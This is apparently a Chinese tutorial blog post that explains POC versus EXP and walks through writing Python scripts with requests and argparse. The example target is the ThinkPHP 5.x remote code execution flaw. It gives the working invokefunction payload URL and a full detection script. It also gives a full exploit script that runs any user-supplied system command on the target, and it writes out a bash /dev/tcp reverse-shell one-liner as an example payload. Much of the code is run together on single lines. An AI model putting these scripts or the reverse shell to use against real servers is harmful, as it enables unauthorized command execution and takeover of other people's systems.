POC和EXP都是安全领域中常用的术语，它们的意义如下：

• POC（Proof of Concept）是指漏洞验证代码，主要用于验证某个漏洞是否存在。POC通常是一个短小的代码片段，其目的是演示漏洞是如何被利用的，同时也可用于向厂商或其他人证明该漏洞的存在。POC的编写可以帮助安全研究人员更好地理解漏洞的原理和利用方式，同时也可以帮助软件开发人员更快地修复漏洞。

• EXP（Exploit）是指利用漏洞的代码，可以通过漏洞实现某种攻击行为。EXP通常是一段较为复杂的代码，其目的是利用漏洞实现攻击，如远程执行代码、提权等。安全研究人员和黑客通常会编写EXP来验证漏洞的可利用性，并可能将其用于攻击目标系统。

因此，POC和EXP的编写都是安全研究人员非常重要的工作，它们有助于发现漏洞、理解漏洞原理、验证漏洞可利用性，并促进漏洞的修复。

一句话概述：POC是漏洞验证，EXP是漏洞利用。

他们两个的本质区别是使用的 payload 不同，比如我一个远程命令执行的漏洞 ，当我的payload是id/whoami这样的命令时，那么我整个脚本或者工具 , 就是poc，因为我只是让他执行一下简单的系统命令来判断目标是否存在这样的漏洞， 如果我的payload是一串反弹shell的系统命令，如/bin/bash -i >& /dev/tcp/192.168.1.1/5656 0>&1 , 那么我整个工具就是一个exp , 可能这个poc和exp其他的代码都一模一样，只有要执行的命令不同，也就是 payload 不同，决定了这个脚本是poc还是exp。

本文中的代码均使用Python实现，在开始之前需要了解一些Python的基本语法，以及在写poc/exp时引用到的内置或第三方库。

以下是一些常用的库，具体使用哪些库取决于需求和想要实现的功能。

本文涉及到的代码是使用requests和argparse库实现的。以下对这两个库做一个简单的介绍：

requests是一个Python第三方库，用于发送HTTP请求和处理HTTP响应。它是一种简单、易于使用的HTTP库，可以轻松地发送各种HTTP请求，如GET、POST、PUT、DELETE等。

requests库提供了简单易用的API，可以轻松地设置请求头、请求参数、请求体等内容，还支持cookie和session管理、代理、SSL证书验证等功能。

以下是一个简单的requests库的示例：

import requests response = requests.get('https://www.example.com') print(response.text)

在这个示例中，我们使用requests库发送了一个GET请求，并打印了响应的文本内容。

requests库的优点包括：

总之，requests是一个简单易用、功能丰富、性能高效的HTTP库，适合各种HTTP请求的场景。

BurpSuite插件商店中的"Copy As Python Requests"。

以下以"Thinkphp5.x  RCE"漏洞 为例。

payload:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

拦截数据包-Extensions-Copy As Python-Requests-Copy as requests

粘贴到pycharm中

接着只需要对结果的一些判定，就完成了一个简易poc了。

通过判断"PHP Version"关键字是否出现在回复包中来验证漏洞的存在。

没有"headers"字段并不影响结果，为了代码看起来更加简洁一点可以选择删掉。

argsparse是python的命令行解析的标准模块，内置于python，不需要安装。这个库可以让我们直接在命令行中就可以向程序中传入参数并让程序运行。

参考链接：https://docs.python.org/zh-cn/3/howto/argparse.html

让我们从一个简单到（几乎）什么也做不了的例子开始：

import argparseparser = argparse.ArgumentParser()parser.parse_args()

程序运行情况如下：

计算一个数的平方：

import argparseparser = argparse.ArgumentParser()parser.add_argument("square", help="display a square of a given number",type=int)# 因为要计算数字的平方，所以必须加上“type=int”args = parser.parse_args()print(args.square**2)

import argparseparser = argparse.ArgumentParser(description='姓名')parser.add_argument('param1', type=str,help='姓')parser.add_argument('param2', type=str,help='名')args = parser.parse_args()#打印姓名print(args.param1+args.param2)

将第三行和第四行的位置进行互换后：

import argparseparser = argparse.ArgumentParser()parser.add_argument('-u', '--url', help='tatget url')parser.add_argument('-c', '--cmd', help='exploit')args = parser.parse_args()
if args.url and args.cmd:    print(f"正在对{args.url}执行{args.cmd}命令")

import argparseimport textwrapimport requestsimport sysrequests.packages.urllib3.disable_warnings()
def main(url):    # 1.发请求    full_url = f"{url}/?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"    try:        # 设置了禁止跳转和延时        response = requests.get(full_url, verify=False, timeout=5, allow_redirects=False)    except Exception:        print(f"[-]{url} 请求失败")        sys.exit(1)    # 2.判断是否存在漏洞    if response.status_code == 200 and "PHP Extension Build" in response.text:        print(f"[+]{url} 存在远程代码执行漏洞")    else:        print(f"[-]{url} 不存在远程代码执行漏洞")
def banner():    banner = """ ____  ____   ___      ____   __    ___ (_  _)(  _ \ / __) ___(  _ \ /  \  / __)  )(   ) __/(___ \(___)) __/(  O )( (__  (__) (__)  (____/    (__)   \__/  \___)                             author:mlxwl    """    print(banner)
if __name__ == '__main__':    banner()    # 使用argparse去解析命令行传来的参数    parser = argparse.ArgumentParser(description="thinkphp5 rce poc",                                     formatter_class=argparse.RawDescriptionHelpFormatter,                                     epilog=textwrap.dedent('''example:\n\tpython test.py -u http://192.168.1.108'''))    # 添加参数    parser.add_argument("-u", "--url", dest="url", type=str, help="input a url")    # 把参数的值解析到对象中    args = parser.parse_args()
    main(args.url)

运行效果：

EXP的编写思路也是一样的。

import argparseimport textwrapimport requestsimport sysrequests.packages.urllib3.disable_warnings()
def main(url, cmd):    # 1.发请求    full_url = f"{url}/?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]={cmd}"    try:        # 设置了禁止跳转和延时        response = requests.get(full_url, verify=False, timeout=5, allow_redirects=False)    except Exception:        print(f"[-]{url} 请求失败")        sys.exit(1)    # 2.判断是否存在漏洞    if response.status_code == 200 and response.text != "":        print(f"[+]{url} 存在远程代码执行漏洞")        print(f"[+]命令执行结果为{response.text}")    else:        print(f"[-]{url} 不存在远程代码执行漏洞或您输入的命令无回显")
def banner():    banner = """ ____  ____   ___        ____  _  _  ____ (_  _)(  _ \ / __) ___  (  __)( \/ )(  _ \\  )(   ) __/(___ \(___)  ) _)  )  (  ) __/ (__) (__)  (____/      (____)(_/\_)(__)                                                      author:mlxwl    """    print(banner)
if __name__ == '__main__':    banner()    # 使用argparse去解析命令行传来的参数    parser = argparse.ArgumentParser(description="thinkphp5 rce exp",                                     formatter_class=argparse.RawDescriptionHelpFormatter,                                     epilog=textwrap.dedent('''example:\n\tpython test.py -u http://192.168.1.108 -c id'''))    # 添加参数    parser.add_argument("-u", "--url", dest="url", type=str, help="input a url")    parser.add_argument("-c", "--cmd", dest="cmd", type=str, help="input cmd")    # 把参数的值解析到对象中    args = parser.parse_args()
    main(args.url, args.cmd)

当前目录位置：

弹出计算器：

Q：网上已经有了公开的POC或者EXP，为什么还重复造轮子？

A：即使已经有公开的POC脚本，重复造轮子仍然可能有意义，特别是对于想要深入研究和理解漏洞的人来说，以下是几点原因：